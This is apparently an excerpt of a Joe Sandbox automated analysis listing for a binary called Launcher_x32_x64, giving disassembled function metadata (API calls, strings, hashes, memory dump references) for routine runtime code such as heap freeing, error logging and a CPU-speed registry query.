Instruction ID: 8e48c2440a64df95cc95b990a5e6fa9e69a146ebb7853d3475c5374942b3a1ae
Opcode Fuzzy Hash: 9ec2d1ed6f390d413e0623ffd5e13cc3a2c48198c79717825de5ae0e6d456a6a
Instruction Fuzzy Hash: DE617DB1D052699FEB20DF68C954BDABBB8AF06704F0441DAD988A7281D7705E48CF81

Function 0131E2E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0131E317
___except_validate_context_record.LIBVCRUNTIME ref: 0131E31F
_ValidateLocalCookies.LIBCMT ref: 0131E3A8
__IsNonwritableInCurrentImage.LIBCMT ref: 0131E3D3
_ValidateLocalCookies.LIBCMT ref: 0131E428

Strings

csm, xrefs: 0131E3BD

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 69f3bd0fd0b7b3a73079b56030b568ea0fb2550a702f6271c19598f9c023efe0
Instruction ID: e750c25fd64393cabf6ffc86883c236382f3919260100f53f034c3780ae7717a
Opcode Fuzzy Hash: 69f3bd0fd0b7b3a73079b56030b568ea0fb2550a702f6271c19598f9c023efe0
Instruction Fuzzy Hash: 1941F234A00219AFCF15EF6CC884A9EBFB5EF45328F148465ED15AB395C736EA01CB91

Function 00EFC120 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73threadCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,00000000,?), ref: 00EFC12F
GetTickCount.KERNEL32 ref: 00EFC139
GetCurrentProcessId.KERNEL32 ref: 00EFC149
GetCurrentThreadId.KERNEL32 ref: 00EFC151

Strings

7, xrefs: 00EFC159
ource_UndefinedChannel, xrefs: 00EFC163

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Current$CountCounterPerformanceProcessQueryThreadTick
String ID: 7$ource_UndefinedChannel
API String ID: 1503542204-1649386615
Opcode ID: 24b1e8b4c029a079934fbb510a82706b15b221f865bfd274479f32c1c97c24a5
Instruction ID: 4b12bf300e13c3d79d352ea851e914766485d5033accca1cabf0f6ee1f8551f6
Opcode Fuzzy Hash: 24b1e8b4c029a079934fbb510a82706b15b221f865bfd274479f32c1c97c24a5
Instruction Fuzzy Hash: 0F21C6B6A01219DBD714CFBCD588799FBF8FB09315F20827ADA19E3390D771A9148B90

Function 0109A6F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 61registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,HARDWARE\DESCRIPTION\System\CentralProcessor\0,00000000,00000001,00000000,?,00000000,?,012898ED,00000000,?,00E30000,00000000), ref: 0109A712
RegQueryValueExW.ADVAPI32(00000000,~MHz,00000000,00000000,?,00E30000,?,012898ED,00000000,?), ref: 0109A739
RegCloseKey.ADVAPI32(00000000,?,012898ED,00000000,?), ref: 0109A754
RegCloseKey.ADVAPI32(00000000,?,012898ED,00000000,?), ref: 0109A76D

Strings

HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 0109A703
~MHz, xrefs: 0109A731

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Close$OpenQueryValue
String ID: HARDWARE\DESCRIPTION\System\CentralProcessor\0$~MHz
API String ID: 1607946009-2226868861
Opcode ID: 3f9f7a183115830f82ccc262f945e51e40025c89987fa2b1696b70cb97751001
Instruction ID: 1d6a539810d050ee9b3cf5917be8e4c2d3bffa1e4687660e4535afa8dcc65998
Opcode Fuzzy Hash: 3f9f7a183115830f82ccc262f945e51e40025c89987fa2b1696b70cb97751001
Instruction Fuzzy Hash: 8011513AF0021CABCB10DA99EC45BEEBBBDEB88711F2041A6F904F3210D6719D5597A0

Function 0112B070 Relevance: 9.4, APIs: 5, Strings: 1, Instructions: 373memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 0112B3D1
HeapFree.KERNEL32(00000000,?), ref: 0112B474
HeapFree.KERNEL32(00000000,?), ref: 0112B4BA

Strings

NULL, xrefs: 0112B0D3

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID: NULL
API String ID: 3298025750-324932091
Opcode ID: dd18a1e363ac64c538de1139e5b2a376e7d27a96713566c38d0d6becee8a6af1
Instruction ID: ca8f5798f0f72c2a2257cacc3707b28951e3166f7c386af9f4a3ddc78d4c04aa
Opcode Fuzzy Hash: dd18a1e363ac64c538de1139e5b2a376e7d27a96713566c38d0d6becee8a6af1
Instruction Fuzzy Hash: 5DE19171A042299BDB39CF28DC94BE9B7B8AF19304F0441E9D949A7241E770AED4CF94

Function 01136620 Relevance: 9.4, APIs: 5, Strings: 1, Instructions: 368memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 01136971
HeapFree.KERNEL32(00000000,?), ref: 01136A14
HeapFree.KERNEL32(00000000,?), ref: 01136A5A

Strings

NULL, xrefs: 01136671

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID: NULL
API String ID: 3298025750-324932091
Opcode ID: c421fbbae2491b0b0bba4a2aa8ea22400dbd417c0746a7e4eccb20fca5787a96
Instruction ID: 50e82a8f73fb3d72d5019f3f95801b9ba0b1070bc02612cd1640bdbb009eed64
Opcode Fuzzy Hash: c421fbbae2491b0b0bba4a2aa8ea22400dbd417c0746a7e4eccb20fca5787a96
Instruction Fuzzy Hash: 01E17171A00229AFDB39CF28DC94BE9B7B9AF59304F0441E9D949A7245E7709F84CF90

Function 01130830 Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 266memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 011309A2
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 01130A35
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 01130A6D
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 01130B33
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 01130B50

Strings

NULL, xrefs: 01130880

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID: NULL
API String ID: 3298025750-324932091
Opcode ID: 7bd95472d72a19ed4c2c03e0e5385c2fbdc3eff84c3b9775fe9318e617135ba9
Instruction ID: 117908b888b1c334b53479f6dacd310e13bfa82c5873b89a676b551e2ca5d337
Opcode Fuzzy Hash: 7bd95472d72a19ed4c2c03e0e5385c2fbdc3eff84c3b9775fe9318e617135ba9
Instruction Fuzzy Hash: CDA1B035E00218DBEB28CFB8D854BAEBBF8BF49344F144169E909E7249E7309945CF90

Function 01139830 Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 262memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 011399A2
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 01139A35
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 01139A6D
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 01139B29
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 01139B46

Strings

NULL, xrefs: 0113987C

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID: NULL
API String ID: 3298025750-324932091
Opcode ID: 2cde19596b4377ad6eb962b54c8c7d5c5a26b78eefa34a01154ee8f4e38e244d
Instruction ID: d62c45e0e619b962dc7346b7105403215877417b06a7d3ba4d418912b515e219
Opcode Fuzzy Hash: 2cde19596b4377ad6eb962b54c8c7d5c5a26b78eefa34a01154ee8f4e38e244d
Instruction Fuzzy Hash: 4FA1C431E0021D9BDF28DF78D894B9EBBB8EF45344F144169D849EB249EB709945CF80

Function 01147520 Relevance: 9.2, APIs: 5, Strings: 1, Instructions: 242memorystringCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,00000105,00000003,00000000,95E4D7D1,00000000), ref: 0114761A
HeapFree.KERNEL32(00000000,?,00000105,00000003,00000000,95E4D7D1,00000000), ref: 01147673
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,01365055), ref: 01147783
HeapFree.KERNEL32(00000000,00000000,95E4D7D1,00000000), ref: 011477D4
HeapFree.KERNEL32(00000000,0137F114,95E4D7D1,00000000), ref: 011477F3

Strings

ENTRY_ASSEMBLY_NAME, xrefs: 011476AE, 0114770D

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap$strncpy
String ID: ENTRY_ASSEMBLY_NAME
API String ID: 3654647765-1484239926
Opcode ID: 114189cbe46c60fa3c5dfa1c03c48da31e0f2bfe24e65e576e9d1775439517a1
Instruction ID: 24a5a3d59f9bec25d7968a8c4572b0a2e3ed4a7e8015dd2d7e5e2c23b0ba2b36
Opcode Fuzzy Hash: 114189cbe46c60fa3c5dfa1c03c48da31e0f2bfe24e65e576e9d1775439517a1
Instruction Fuzzy Hash: 8A91AB70A006059BEB28CFADD898BEEBBB5EF48B10F144129D905B72D0DB755840CBA0

Function 0114C0D0 Relevance: 9.2, APIs: 6, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,00000000,?,?,?,?,01148990), ref: 0114C285

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 1e22540d13fba9e6fc84b70242fa9daf637ce3acb05247a68723ff63830111c8
Instruction ID: 844e151d8c0f654b85a1d0b2a32c0c53a250cc4b9f91bf015c92a8f685c37cbe
Opcode Fuzzy Hash: 1e22540d13fba9e6fc84b70242fa9daf637ce3acb05247a68723ff63830111c8
Instruction Fuzzy Hash: 56510871A01601DBEB289FADD884B7FBBE5BF85B50F148128E909E7254D7B0D800CBD1

Function 00F213B0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 273COMMON

Download Yara Rule

APIs

wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,-00000002,00000004,00000000), ref: 00F214EA
SysFreeString.OLEAUT32(?), ref: 00F21698
SysFreeString.OLEAUT32(?), ref: 00F216AD
SysFreeString.OLEAUT32(?), ref: 00F216C2

Part of subcall function 00E3F140: HeapFree.KERNEL32(00000000,?,?,?,?,95E4D7D1), ref: 00E3F18B

Strings

EX_THROW_WITH_INNER Type = 0x%x HR = 0x%x, line %d, xrefs: 00F215F3

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Free$String$Heapwcscpy_s
String ID: EX_THROW_WITH_INNER Type = 0x%x HR = 0x%x, line %d
API String ID: 1642717140-1701855325
Opcode ID: b601391575eeb36089db99312802c350eaf02b3a3d324c2c6bd1b859aae54fe4
Instruction ID: 4878c85cd2d2ea4e95c9b9af4ef47d5c19fbe1839af63457fef42c7741966726
Opcode Fuzzy Hash: b601391575eeb36089db99312802c350eaf02b3a3d324c2c6bd1b859aae54fe4
Instruction Fuzzy Hash: 54B1E5B0D00319DBDB20DF68E84879AFBF4FF58314F144299E859A7291E774AA84CF54

Function 00F445B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 134threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00F445E0
SleepEx.KERNEL32(000000FF,00000000), ref: 00F4462E

Part of subcall function 00F07380: GetStdHandle.KERNEL32(000000F4,00000000,?), ref: 00F0738C
Part of subcall function 00F07380: strlen.API-MS-WIN-CRT-STRING-L1-1-0(Fatal error. ), ref: 00F07396
Part of subcall function 00F07380: WriteFile.KERNEL32(?,Fatal error. ,00007FFF,?,00000000,00000000), ref: 00F073C5

Strings

Fatal error while logging another fatal error., xrefs: 00F445FD
Process terminated. , xrefs: 00F446A8
Fatal error. , xrefs: 00F446A3

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CurrentFileHandleSleepThreadWritestrlen
String ID: Fatal error while logging another fatal error.$Fatal error. $Process terminated.
API String ID: 3820310217-2540833051
Opcode ID: 87da5844ec99a1b125850915bbd18dd1069e836a6e94c5266b22e8d0efdcd245
Instruction ID: afa6a2ea3d52d00cfce16ef67ff0f9fc4021c06a72bcf6053459829650a91a84
Opcode Fuzzy Hash: 87da5844ec99a1b125850915bbd18dd1069e836a6e94c5266b22e8d0efdcd245
Instruction Fuzzy Hash: 9E51BC31E052089BDB18EFA4D8917ADFBB0EF41320F20416EE816A7391DB356E05EB90

Function 00E81120 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74threadsynchronizationCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00040000,Function_00050F80,00000000,00010000,?), ref: 00E81176
SetThreadDescription.KERNELBASE ref: 00E81192
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00E811B6
CloseHandle.KERNEL32(00000000), ref: 00E811CC

Strings

.NET Stack overflow create dump, xrefs: 00E81184

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Thread$CloseCreateDescriptionHandleObjectSingleWait
String ID: .NET Stack overflow create dump
API String ID: 3559772556-3933522274
Opcode ID: 28072b558f05d6f0732b6454b8fd70d84a7084a4728334f59fe1b25f7d748b09
Instruction ID: 19e984d5375467fef251db5c05f76ad4caae05ebd9544c8734406d03ac15ff7f
Opcode Fuzzy Hash: 28072b558f05d6f0732b6454b8fd70d84a7084a4728334f59fe1b25f7d748b09
Instruction Fuzzy Hash: E721C271A45614ABC721EF58EC05BAEBBBCEB45B24F10436AED28F32D0EB7559018790

Function 01136190 Relevance: 7.8, APIs: 4, Strings: 1, Instructions: 325memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 011364DA
HeapFree.KERNEL32(00000000,?), ref: 01136527
HeapFree.KERNEL32(00000000,?), ref: 011365DD
HeapFree.KERNEL32(00000000,?), ref: 011365FF

Strings

NULL, xrefs: 011361E1

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID: NULL
API String ID: 3298025750-324932091
Opcode ID: 23fbe9b215a73f0e6e7718ac5c266be86c28511ee15f87d40355c308611f0f7c
Instruction ID: b957ebcece7a5a4145e0209d68d7d4a317f75373ff20359f3b9f629fef9f6f81
Opcode Fuzzy Hash: 23fbe9b215a73f0e6e7718ac5c266be86c28511ee15f87d40355c308611f0f7c
Instruction Fuzzy Hash: F0D1937190012A9BDB39CF28DC95FEAB7B8AF58344F0441E9E949A7245E7709F84CF90

Function 0112B5C0 Relevance: 7.8, APIs: 4, Strings: 1, Instructions: 325memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 0112B90A
HeapFree.KERNEL32(00000000,?), ref: 0112B957
HeapFree.KERNEL32(00000000,?), ref: 0112BA0D
HeapFree.KERNEL32(00000000,?), ref: 0112BA2F

Strings

NULL, xrefs: 0112B611

Memory Dump Source

